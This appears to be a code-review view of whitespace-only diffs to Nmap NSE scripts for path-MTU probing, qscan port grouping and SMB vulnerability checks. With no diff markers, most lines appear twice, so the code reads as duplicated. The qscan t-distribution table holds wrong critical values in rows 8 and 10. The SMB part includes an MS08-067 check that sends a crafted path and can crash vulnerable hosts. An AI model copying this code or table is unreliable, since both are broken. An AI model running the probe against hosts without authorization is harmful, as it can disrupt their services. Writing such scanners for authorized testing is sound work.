end
setreg(host, proto, port.number)
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not (host.interface and host.interface_mtu) then
return false
end
local proto, port = getprobe(host)
if not (proto and port) then
return false
end
setreg(host, proto, port.number)
return true
end
action = function(host)
local m, r
local gotit = false
local mtuset
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local proto = host.registry['pathmtuprobe']['proto']
local port = host.registry['pathmtuprobe']['port']
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try()
local status, pkt, ip
local m, r
local gotit = false
local mtuset
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local proto = host.registry['pathmtuprobe']['proto']
local port = host.registry['pathmtuprobe']['port']
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try()
local status, pkt, ip
try(sock:ip_open())
try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end)
try = nmap.new_try(function() sock:ip_close() end)
pcap:pcap_open(host.interface, 104, false, "dst host " .. saddr .. " and (icmp or (" .. proto .. " and src host " .. daddr .. " and src port " .. port .. "))")
pcap:pcap_open(host.interface, 104, false, "dst host " .. saddr .. " and (icmp or (" .. proto .. " and src host " .. daddr .. " and src port " .. port .. "))")
-- Since we're sending potentially large amounts of data per packet,
-- simply bump up the host's calculated timeout value. Most replies
-- should come from routers along the path, fragmentation reassembly
-- times isn't an issue and the large amount of data is only travelling
-- in one direction; still, we want a response from the target so call
-- it 1.5*timeout to play it safer.
pcap:set_timeout(1.5 * host.times.timeout * 1000)
-- Since we're sending potentially large amounts of data per packet,
-- simply bump up the host's calculated timeout value. Most replies
-- should come from routers along the path, fragmentation reassembly
-- times isn't an issue and the large amount of data is only travelling
-- in one direction; still, we want a response from the target so call
-- it 1.5*timeout to play it safer.
pcap:set_timeout(1.5 * host.times.timeout * 1000)
m = searchmtu(1, host.interface_mtu)
m = searchmtu(1, host.interface_mtu)
mtuset = MTUS[m]
mtuset = MTUS[m]
local pkt = genericpkt(host, ipproto(proto), port)
local pkt = genericpkt(host, ipproto(proto), port)
while m <= #MTUS do
setmtu(pkt, MTUS[m])
while m <= #MTUS do
setmtu(pkt, MTUS[m])
r = 0
status = false
while true do
if not status then
if not sock:ip_send(pkt.buf, host) then
-- Got a send error, perhaps EMSGSIZE
-- when we don't know our interface's
-- MTU. Drop an MTU and keep trying.
break
end
end
r = 0
status = false
while true do
if not status then
if not sock:ip_send(pkt.buf, host) then
-- Got a send error, perhaps EMSGSIZE
-- when we don't know our interface's
-- MTU. Drop an MTU and keep trying.
break
end
end
local test = bin.pack('A', pkt.ip_bin_src)
local status, length, _, layer3 = pcap:pcap_receive()
while status and test ~= check(layer3) do
status, length, _, layer3 = pcap:pcap_receive()
end
local test = bin.pack('A', pkt.ip_bin_src)
local status, length, _, layer3 = pcap:pcap_receive()
while status and test ~= check(layer3) do
status, length, _, layer3 = pcap:pcap_receive()
end
if status then
local t, v = checkpkt(layer3, pkt)
if t == "gotreply" then
gotit = true
break
elseif t == "recap" then
elseif t == "nextmtu" then
if v == 0 then
-- Router didn't send its
-- next-hop MTU. Just drop
-- a level.
break
end
-- Lua's lack of a continue statement
-- for loop control sucks, so dec m
-- here as it's inc'd below. Ugh.
m = searchmtu(m, v) - 1
mtuset = v
break
end
else
if r >= RETRIES then
break
end
r = r + 1
end
end
if status then
local t, v = checkpkt(layer3, pkt)
if t == "gotreply" then
gotit = true
break
elseif t == "recap" then
elseif t == "nextmtu" then
if v == 0 then
-- Router didn't send its
-- next-hop MTU. Just drop
-- a level.
break
end
-- Lua's lack of a continue statement
-- for loop control sucks, so dec m
-- here as it's inc'd below. Ugh.
m = searchmtu(m, v) - 1
mtuset = v
break
end
else
if r >= RETRIES then
break
end
r = r + 1
end
end
if gotit then
break
end
if gotit then
break
end
m = m + 1
end
m = m + 1
end
pcap:close()
sock:ip_close()
pcap:close()
sock:ip_close()
if not gotit then
if nmap.debugging() > 0 then
return "Error: Unable to determine PMTU (no replies)"
end
return
end
if not gotit then
if nmap.debugging() > 0 then
return "Error: Unable to determine PMTU (no replies)"
end
return
end
if MTUS[m] == mtuset then
return "PMTU == " .. MTUS[m]
elseif m == 1 then
return "PMTU >= " .. MTUS[m]
else
return "" .. MTUS[m] .. " <= PMTU < " .. MTUS[m - 1]
end
if MTUS[m] == mtuset then
return "PMTU == " .. MTUS[m]
elseif m == 1 then
return "PMTU >= " .. MTUS[m]
else
return "" .. MTUS[m] .. " <= PMTU < " .. MTUS[m - 1]
end
end

View File

@@ -8,22 +8,22 @@ local tab = require "tab"
local table = require "table"
description = [[
Repeatedly probe open and/or closed ports on a host to obtain a series
of round-trip time values for each port. These values are used to
group collections of ports which are statistically different from other
groups. Ports being in different groups (or "families") may be due to
network mechanisms such as port forwarding to machines behind a NAT.
Repeatedly probe open and/or closed ports on a host to obtain a series
of round-trip time values for each port. These values are used to
group collections of ports which are statistically different from other
groups. Ports being in different groups (or "families") may be due to
network mechanisms such as port forwarding to machines behind a NAT.
In order to group these ports into different families, some statistical
values must be computed. Among these values are the mean and standard
deviation of the round-trip times for each port. Once all of the times
have been recorded and these values have been computed, the Student's
t-test is used to test the statistical significance of the differences
between each port's data. Ports which have round-trip times that are
statistically the same are grouped together in the same family.
In order to group these ports into different families, some statistical
values must be computed. Among these values are the mean and standard
deviation of the round-trip times for each port. Once all of the times
have been recorded and these values have been computed, the Student's
t-test is used to test the statistical significance of the differences
between each port's data. Ports which have round-trip times that are
statistically the same are grouped together in the same family.
This script is based on Doug Hoyte's Qscan documentation and patches
for Nmap.
This script is based on Doug Hoyte's Qscan documentation and patches
for Nmap.
]]
-- See http://hcsw.org/nmap/QSCAN for more on Doug's research
@@ -69,38 +69,38 @@ local NUMCLOSED = 1
-- The following tdist{} and tinv() are based off of
-- http://www.owlnet.rice.edu/~elec428/projects/tinv.c
local tdist = {
-- 75% 90% 95% 97.5% 99% 99.5% 99.95%
{ 1.0000, 3.0777, 6.3138, 12.7062, 31.8207, 63.6574, 636.6192 }, -- 1
{ 0.8165, 1.8856, 2.9200, 4.3027, 6.9646, 9.9248, 31.5991 }, -- 2
{ 0.7649, 1.6377, 2.3534, 3.1824, 4.5407, 5.8409, 12.9240 }, -- 3
{ 0.7407, 1.5332, 2.1318, 2.7764, 3.7649, 4.6041, 8.6103 }, -- 4
{ 0.7267, 1.4759, 2.0150, 2.5706, 3.3649, 4.0322, 6.8688 }, -- 5
{ 0.7176, 1.4398, 1.9432, 2.4469, 3.1427, 3.7074, 5.9588 }, -- 6
{ 0.7111, 1.4149, 1.8946, 2.3646, 2.9980, 3.4995, 5.4079 }, -- 7
{ 0.7064, 1.3968, 1.8595, 3.3060, 2.8965, 3.3554, 5.0413 }, -- 8
{ 0.7027, 1.3830, 1.8331, 2.2622, 2.8214, 3.2498, 4.7809 }, -- 9
{ 0.6998, 1.3722, 1.8125, 2.2281, 2.7638, 1.1693, 4.5869 }, -- 10
{ 0.6974, 1.3634, 1.7959, 2.2010, 2.7181, 3.1058, 4.4370 }, -- 11
{ 0.6955, 1.3562, 1.7823, 2.1788, 2.6810, 3.0545, 4.3178 }, -- 12
{ 0.6938, 1.3502, 1.7709, 2.1604, 2.6403, 3.0123, 4.2208 }, -- 13
{ 0.6924, 1.3450, 1.7613, 2.1448, 2.6245, 2.9768, 4.1405 }, -- 14
{ 0.6912, 1.3406, 1.7531, 2.1315, 2.6025, 2.9467, 4.0728 }, -- 15
{ 0.6901, 1.3368, 1.7459, 2.1199, 2.5835, 2.9208, 4.0150 }, -- 16
{ 0.6892, 1.3334, 1.7396, 2.1098, 2.5669, 2.8982, 3.9651 }, -- 17
{ 0.6884, 1.3304, 1.7341, 2.1009, 2.5524, 2.8784, 3.9216 }, -- 18
{ 0.6876, 1.3277, 1.7291, 2.0930, 2.5395, 2.8609, 3.8834 }, -- 19
{ 0.6870, 1.3253, 1.7247, 2.0860, 2.5280, 2.8453, 3.8495 }, -- 20
{ 0.6844, 1.3163, 1.7081, 2.0595, 2.4851, 2.7874, 3.7251 }, -- 25
{ 0.6828, 1.3104, 1.6973, 2.0423, 2.4573, 2.7500, 3.6460 }, -- 30
{ 0.6816, 1.3062, 1.6896, 2.0301, 2.4377, 2.7238, 3.5911 }, -- 35
{ 0.6807, 1.3031, 1.6839, 2.0211, 2.4233, 2.7045, 3.5510 }, -- 40
{ 0.6800, 1.3006, 1.6794, 2.0141, 2.4121, 2.6896, 3.5203 }, -- 45
{ 0.6794, 1.2987, 1.6759, 2.0086, 2.4033, 2.6778, 3.4960 }, -- 50
{ 0.6786, 1.2958, 1.6706, 2.0003, 2.3901, 2.6603, 3.4602 }, -- 60
{ 0.6780, 1.2938, 1.6669, 1.9944, 2.3808, 2.6479, 3.4350 }, -- 70
{ 0.6776, 1.2922, 1.6641, 1.9901, 2.3739, 2.6387, 3.4163 }, -- 80
{ 0.6772, 1.2910, 1.6620, 1.9867, 2.3685, 2.6316, 3.4019 }, -- 90
{ 0.6770, 1.2901, 1.6602, 1.9840, 2.3642, 2.6259, 3.3905 } -- 100
-- 75% 90% 95% 97.5% 99% 99.5% 99.95%
{ 1.0000, 3.0777, 6.3138, 12.7062, 31.8207, 63.6574, 636.6192 }, -- 1
{ 0.8165, 1.8856, 2.9200, 4.3027, 6.9646, 9.9248, 31.5991 }, -- 2
{ 0.7649, 1.6377, 2.3534, 3.1824, 4.5407, 5.8409, 12.9240 }, -- 3
{ 0.7407, 1.5332, 2.1318, 2.7764, 3.7649, 4.6041, 8.6103 }, -- 4
{ 0.7267, 1.4759, 2.0150, 2.5706, 3.3649, 4.0322, 6.8688 }, -- 5
{ 0.7176, 1.4398, 1.9432, 2.4469, 3.1427, 3.7074, 5.9588 }, -- 6
{ 0.7111, 1.4149, 1.8946, 2.3646, 2.9980, 3.4995, 5.4079 }, -- 7
{ 0.7064, 1.3968, 1.8595, 3.3060, 2.8965, 3.3554, 5.0413 }, -- 8
{ 0.7027, 1.3830, 1.8331, 2.2622, 2.8214, 3.2498, 4.7809 }, -- 9
{ 0.6998, 1.3722, 1.8125, 2.2281, 2.7638, 1.1693, 4.5869 }, -- 10
{ 0.6974, 1.3634, 1.7959, 2.2010, 2.7181, 3.1058, 4.4370 }, -- 11
{ 0.6955, 1.3562, 1.7823, 2.1788, 2.6810, 3.0545, 4.3178 }, -- 12
{ 0.6938, 1.3502, 1.7709, 2.1604, 2.6403, 3.0123, 4.2208 }, -- 13
{ 0.6924, 1.3450, 1.7613, 2.1448, 2.6245, 2.9768, 4.1405 }, -- 14
{ 0.6912, 1.3406, 1.7531, 2.1315, 2.6025, 2.9467, 4.0728 }, -- 15
{ 0.6901, 1.3368, 1.7459, 2.1199, 2.5835, 2.9208, 4.0150 }, -- 16
{ 0.6892, 1.3334, 1.7396, 2.1098, 2.5669, 2.8982, 3.9651 }, -- 17
{ 0.6884, 1.3304, 1.7341, 2.1009, 2.5524, 2.8784, 3.9216 }, -- 18
{ 0.6876, 1.3277, 1.7291, 2.0930, 2.5395, 2.8609, 3.8834 }, -- 19
{ 0.6870, 1.3253, 1.7247, 2.0860, 2.5280, 2.8453, 3.8495 }, -- 20
{ 0.6844, 1.3163, 1.7081, 2.0595, 2.4851, 2.7874, 3.7251 }, -- 25
{ 0.6828, 1.3104, 1.6973, 2.0423, 2.4573, 2.7500, 3.6460 }, -- 30
{ 0.6816, 1.3062, 1.6896, 2.0301, 2.4377, 2.7238, 3.5911 }, -- 35
{ 0.6807, 1.3031, 1.6839, 2.0211, 2.4233, 2.7045, 3.5510 }, -- 40
{ 0.6800, 1.3006, 1.6794, 2.0141, 2.4121, 2.6896, 3.5203 }, -- 45
{ 0.6794, 1.2987, 1.6759, 2.0086, 2.4033, 2.6778, 3.4960 }, -- 50
{ 0.6786, 1.2958, 1.6706, 2.0003, 2.3901, 2.6603, 3.4602 }, -- 60
{ 0.6780, 1.2938, 1.6669, 1.9944, 2.3808, 2.6479, 3.4350 }, -- 70
{ 0.6776, 1.2922, 1.6641, 1.9901, 2.3739, 2.6387, 3.4163 }, -- 80
{ 0.6772, 1.2910, 1.6620, 1.9867, 2.3685, 2.6316, 3.4019 }, -- 90
{ 0.6770, 1.2901, 1.6602, 1.9840, 2.3642, 2.6259, 3.3905 } -- 100
}
-- cache ports to probe between the hostrule and the action function
@@ -108,391 +108,391 @@ local qscanports
local tinv = function(p, dof)
local din, pin
local din, pin
if dof >= 1 and dof <= 20 then
din = dof
elseif dof < 25 then
din = 20
elseif dof < 30 then
din = 21
elseif dof < 35 then
din = 22
elseif dof < 40 then
din = 23
elseif dof < 45 then
din = 24
elseif dof < 50 then
din = 25
elseif dof < 60 then
din = 26
elseif dof < 70 then
din = 27
elseif dof < 80 then
din = 28
elseif dof < 90 then
din = 29
elseif dof < 100 then
din = 30
elseif dof >= 100 then
din = 31
end
if dof >= 1 and dof <= 20 then
din = dof
elseif dof < 25 then
din = 20
elseif dof < 30 then
din = 21
elseif dof < 35 then
din = 22
elseif dof < 40 then
din = 23
elseif dof < 45 then
din = 24
elseif dof < 50 then
din = 25
elseif dof < 60 then
din = 26
elseif dof < 70 then
din = 27
elseif dof < 80 then
din = 28
elseif dof < 90 then
din = 29
elseif dof < 100 then
din = 30
elseif dof >= 100 then
din = 31
end
if p == 0.75 then
pin = 1
elseif p == 0.9 then
pin = 2
elseif p == 0.95 then
pin = 3
elseif p == 0.975 then
pin = 4
elseif p == 0.99 then
pin = 5
elseif p == 0.995 then
pin = 6
elseif p == 0.9995 then
pin = 7
end
if p == 0.75 then
pin = 1
elseif p == 0.9 then
pin = 2
elseif p == 0.95 then
pin = 3
elseif p == 0.975 then
pin = 4
elseif p == 0.99 then
pin = 5
elseif p == 0.995 then
pin = 6
elseif p == 0.9995 then
pin = 7
end
return tdist[din][pin]
return tdist[din][pin]
end
--- Calculates intermediate t statistic
local tstat = function(n1, n2, u1, u2, v1, v2)
local dof = n1 + n2 - 2
local a = (n1 + n2) / (n1 * n2)
--local b = ((n1 - 1) * (s1 * s1) + (n2 - 1) * (s2 * s2))
local b = ((n1 - 1) * v1) + ((n2 - 1) * v2)
return math.abs(u1 - u2) / math.sqrt(a * (b / dof))
local dof = n1 + n2 - 2
local a = (n1 + n2) / (n1 * n2)
--local b = ((n1 - 1) * (s1 * s1) + (n2 - 1) * (s2 * s2))
local b = ((n1 - 1) * v1) + ((n2 - 1) * v2)
return math.abs(u1 - u2) / math.sqrt(a * (b / dof))
end
--- Pcap check
-- @return Destination and source IP addresses and TCP ports
local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
end
--- Updates a TCP Packet object
-- @param tcp The TCP object
local updatepkt = function(tcp, dport)
tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_dport(dport)
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum()
tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_dport(dport)
tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum()
end
--- Create a TCP Packet object
-- @param host Host object
-- @return TCP Packet object
local genericpkt = function(host)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local tcp = packet.Packet:new(pkt, pkt:len())
local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
updatepkt(tcp, 0)
updatepkt(tcp, 0)
return tcp
return tcp
end
--- Calculates "family" values for grouping
-- @param stats Statistics table
-- @param conf Confidence level
local calcfamilies = function(stats, conf)
local i, j
local famidx = 0
local stat
local crit
local i, j
local famidx = 0
local stat
local crit
for _, i in pairs(stats) do repeat
if i.fam ~= -1 then
break
end
for _, i in pairs(stats) do repeat
if i.fam ~= -1 then
break
end
i.fam = famidx
famidx = famidx + 1
i.fam = famidx
famidx = famidx + 1
for _, j in pairs(stats) do repeat
if j.port == i.port or j.fam ~= -1 then
break
end
for _, j in pairs(stats) do repeat
if j.port == i.port or j.fam ~= -1 then
break
end
stat = tstat(i.num, j.num, i.mean, j.mean, i.K / (i.num - 1), j.K / (j.num - 1))
crit = tinv(conf, i.num + j.num - 2)
stat = tstat(i.num, j.num, i.mean, j.mean, i.K / (i.num - 1), j.K / (j.num - 1))
crit = tinv(conf, i.num + j.num - 2)
if stat < crit then
j.fam = i.fam
end
until true end
until true end
if stat < crit then
j.fam = i.fam
end
until true end
until true end
end
--- Builds report for output
-- @param stats Array of port statistics
-- @return Output report
local report = function(stats)
local j
local outtab = tab.new()
local j
local outtab = tab.new()
tab.add(outtab, 1, "PORT")
tab.add(outtab, 2, "FAMILY")
tab.add(outtab, 3, "MEAN (us)")
tab.add(outtab, 4, "STDDEV")
tab.add(outtab, 5, "LOSS (%)")
tab.nextrow(outtab)
tab.add(outtab, 1, "PORT")
tab.add(outtab, 2, "FAMILY")
tab.add(outtab, 3, "MEAN (us)")
tab.add(outtab, 4, "STDDEV")
tab.add(outtab, 5, "LOSS (%)")
tab.nextrow(outtab)
local port, fam, mean, stddev, loss
for _, j in pairs(stats) do
port = tostring(j.port)
fam = tostring(j.fam)
mean = string.format("%.2f", j.mean)
stddev = string.format("%.2f", math.sqrt(j.K / (j.num - 1)))
loss = string.format("%.1f%%", 100 * (1 - j.num / j.sent))
for _, j in pairs(stats) do
port = tostring(j.port)
fam = tostring(j.fam)
mean = string.format("%.2f", j.mean)
stddev = string.format("%.2f", math.sqrt(j.K / (j.num - 1)))
loss = string.format("%.1f%%", 100 * (1 - j.num / j.sent))
tab.add(outtab, 1, port)
tab.add(outtab, 2, fam)
tab.add(outtab, 3, mean)
tab.add(outtab, 4, stddev)
tab.add(outtab, 5, loss)
tab.nextrow(outtab)
end
tab.add(outtab, 1, port)
tab.add(outtab, 2, fam)
tab.add(outtab, 3, mean)
tab.add(outtab, 4, stddev)
tab.add(outtab, 5, loss)
tab.nextrow(outtab)
end
return tab.dump(outtab)
return tab.dump(outtab)
end
--- Returns option values based on script arguments and defaults
-- @return Confidence level, delay and number of trips
local getopts = function()
local conf, delay, numtrips = CONF, DELAY, NUMTRIPS
local bool, err
local k
local conf, delay, numtrips = CONF, DELAY, NUMTRIPS
local bool, err
local k
for _, k in ipairs({"qscan.confidence", "confidence"}) do
if nmap.registry.args[k] then
conf = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.confidence", "confidence"}) do
if nmap.registry.args[k] then
conf = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.delay", "delay"}) do
if nmap.registry.args[k] then
delay = stdnse.parse_timespec(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.delay", "delay"}) do
if nmap.registry.args[k] then
delay = stdnse.parse_timespec(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.numtrips", "numtrips"}) do
if nmap.registry.args[k] then
numtrips = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.numtrips", "numtrips"}) do
if nmap.registry.args[k] then
numtrips = tonumber(nmap.registry.args[k])
break
end
end
bool = true
bool = true
if conf ~= 0.75 and conf ~= 0.9 and
conf ~= 0.95 and conf ~= 0.975 and
conf ~= 0.99 and conf ~= 0.995 and conf ~= 0.9995 then
bool = false
err = "Invalid confidence level"
end
if conf ~= 0.75 and conf ~= 0.9 and
conf ~= 0.95 and conf ~= 0.975 and
conf ~= 0.99 and conf ~= 0.995 and conf ~= 0.9995 then
bool = false
err = "Invalid confidence level"
end
if not delay then
bool = false
err = "Invalid delay"
end
if not delay then
bool = false
err = "Invalid delay"
end
if numtrips < 3 then
bool = false
err = "Invalid number of trips (should be >= 3)"
end
if numtrips < 3 then
bool = false
err = "Invalid number of trips (should be >= 3)"
end
if bool then
return bool, conf, delay, numtrips
else
return bool, err
end
if bool then
return bool, conf, delay, numtrips
else
return bool, err
end
end
local table_extend = function(a, b)
local t = {}
local t = {}
for _, v in ipairs(a) do
t[#t + 1] = v
end
for _, v in ipairs(b) do
t[#t + 1] = v
end
for _, v in ipairs(a) do
t[#t + 1] = v
end
for _, v in ipairs(b) do
t[#t + 1] = v
end
return t
return t
end
--- Get ports to probe
-- @param host Host object
local getports = function(host, numopen, numclosed)
local open = {}
local closed = {}
local port
local open = {}
local closed = {}
local port
port = nil
while numopen < 0 or #open < numopen do
port = nmap.get_ports(host, port, "tcp", "open")
if not port then
break
end
open[#open + 1] = port.number
end
port = nil
while numclosed < 0 or #closed < numclosed do
port = nmap.get_ports(host, port, "tcp", "closed")
if not port then
break
end
closed[#closed + 1] = port.number
end
port = nil
while numopen < 0 or #open < numopen do
port = nmap.get_ports(host, port, "tcp", "open")
if not port then
break
end
open[#open + 1] = port.number
end
port = nil
while numclosed < 0 or #closed < numclosed do
port = nmap.get_ports(host, port, "tcp", "closed")
if not port then
break
end
closed[#closed + 1] = port.number
end
return table_extend(open, closed)
return table_extend(open, closed)
end
hostrule = function(host)
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
local numopen, numclosed = NUMOPEN, NUMCLOSED
local numopen, numclosed = NUMOPEN, NUMCLOSED
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not host.interface then
return false
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not host.interface then
return false
end
for _, k in ipairs({"qscan.numopen", "numopen"}) do
if nmap.registry.args[k] then
numopen = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.numopen", "numopen"}) do
if nmap.registry.args[k] then
numopen = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.numclosed", "numclosed"}) do
if nmap.registry.args[k] then
numclosed = tonumber(nmap.registry.args[k])
break
end
end
for _, k in ipairs({"qscan.numclosed", "numclosed"}) do
if nmap.registry.args[k] then
numclosed = tonumber(nmap.registry.args[k])
break
end
end
qscanports = getports(host, numopen, numclosed)
return (#qscanports > 1)
qscanports = getports(host, numopen, numclosed)
return (#qscanports > 1)
end
action = function(host)
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local start
local rtt
local stats = {}
local try = nmap.new_try()
local sock = nmap.new_dnet()
local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip)
local start
local rtt
local stats = {}
local try = nmap.new_try()
local conf, delay, numtrips = try(getopts())
local conf, delay, numtrips = try(getopts())
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr)
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr)
try(sock:ip_open())
try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end)
try = nmap.new_try(function() sock:ip_close() end)
-- Simply double the calculated host timeout to account for possible
-- extra time due to port forwarding or whathaveyou. Nmap has all
-- ready scanned this host, so the timing should have taken into
-- account some of the RTT differences, but I think it really depends
-- on how many ports were scanned and how many were forwarded where.
-- Play it safer here.
pcap:set_timeout(2 * host.times.timeout * 1000)
-- Simply double the calculated host timeout to account for possible
-- extra time due to port forwarding or whathaveyou. Nmap has all
-- ready scanned this host, so the timing should have taken into
-- account some of the RTT differences, but I think it really depends
-- on how many ports were scanned and how many were forwarded where.
-- Play it safer here.
pcap:set_timeout(2 * host.times.timeout * 1000)
local tcp = genericpkt(host)
local tcp = genericpkt(host)
for i = 1, numtrips do
for j, port in ipairs(qscanports) do
for i = 1, numtrips do
for j, port in ipairs(qscanports) do
updatepkt(tcp, port)
updatepkt(tcp, port)
if not stats[j] then
stats[j] = {}
stats[j].port = port
stats[j].num = 0
stats[j].sent = 0
stats[j].mean = 0
stats[j].K = 0
stats[j].fam = -1
end
if not stats[j] then
stats[j] = {}
stats[j].port = port
stats[j].num = 0
stats[j].sent = 0
stats[j].mean = 0
stats[j].K = 0
stats[j].fam = -1
end
start = stdnse.clock_us()
start = stdnse.clock_us()
try(sock:ip_send(tcp.buf, host))
try(sock:ip_send(tcp.buf, host))
stats[j].sent = stats[j].sent + 1
stats[j].sent = stats[j].sent + 1
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
local status, length, _, layer3, stop = pcap:pcap_receive()
while status and test ~= check(layer3) do
status, length, _, layer3, stop = pcap:pcap_receive()
end
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
local status, length, _, layer3, stop = pcap:pcap_receive()
while status and test ~= check(layer3) do
status, length, _, layer3, stop = pcap:pcap_receive()
end
if not stop then
-- probably a timeout, just grab current time
stop = stdnse.clock_us()
else
-- we use usecs
stop = stop * 1000000
end
if not stop then
-- probably a timeout, just grab current time
stop = stdnse.clock_us()
else
-- we use usecs
stop = stop * 1000000
end
rtt = stop - start
rtt = stop - start
if status then
-- update more stats on the port, Knuth-style
local delta
stats[j].num = stats[j].num + 1
delta = rtt - stats[j].mean
stats[j].mean = stats[j].mean + delta / stats[j].num
stats[j].K = stats[j].K + delta * (rtt - stats[j].mean)
end
if status then
-- update more stats on the port, Knuth-style
local delta
stats[j].num = stats[j].num + 1
delta = rtt - stats[j].mean
stats[j].mean = stats[j].mean + delta / stats[j].num
stats[j].K = stats[j].K + delta * (rtt - stats[j].mean)
end
-- Unlike qscan.cc which loops around while waiting for
-- the delay, I just sleep here (depending on rtt)
if rtt < (3 * delay) / 2 then
if rtt < (delay / 2) then
stdnse.sleep(((delay / 2) + math.random(0, delay) - rtt))
else
stdnse.sleep(math.random((3 * delay) / 2 - rtt))
end
end
end
end
-- Unlike qscan.cc which loops around while waiting for
-- the delay, I just sleep here (depending on rtt)
if rtt < (3 * delay) / 2 then
if rtt < (delay / 2) then
stdnse.sleep(((delay / 2) + math.random(0, delay) - rtt))
else
stdnse.sleep(math.random((3 * delay) / 2 - rtt))
end
end
end
end
sock:ip_close()
pcap:pcap_close()
sock:ip_close()
pcap:pcap_close()
-- sort by port number
table.sort(stats, function(t1, t2) return t1.port < t2.port end)
-- sort by port number
table.sort(stats, function(t1, t2) return t1.port < t2.port end)
calcfamilies(stats, conf)
calcfamilies(stats, conf)
return "\n" .. report(stats)
return "\n" .. report(stats)
end

File diff suppressed because it is too large Load Diff

View File

@@ -119,7 +119,7 @@ dependencies = {
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
@@ -149,88 +149,88 @@ local NOTUP = 8
-- <code>UNKNOWN</code> if there was an error (likely vulnerable), <code>NOTRUN</code>
-- if this check was disabled, and <code>INFECTED</code> if it was patched by Conficker.
function check_ms08_067(host)
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
local status, smbstate
local bind_result, netpathcompare_result
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
local status, smbstate
local bind_result, netpathcompare_result
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
if(status == false) then
return false, smbstate
end
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Call netpathcanonicalize
-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
-- Call netpathcanonicalize
-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
local path2 = "\\n"
status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
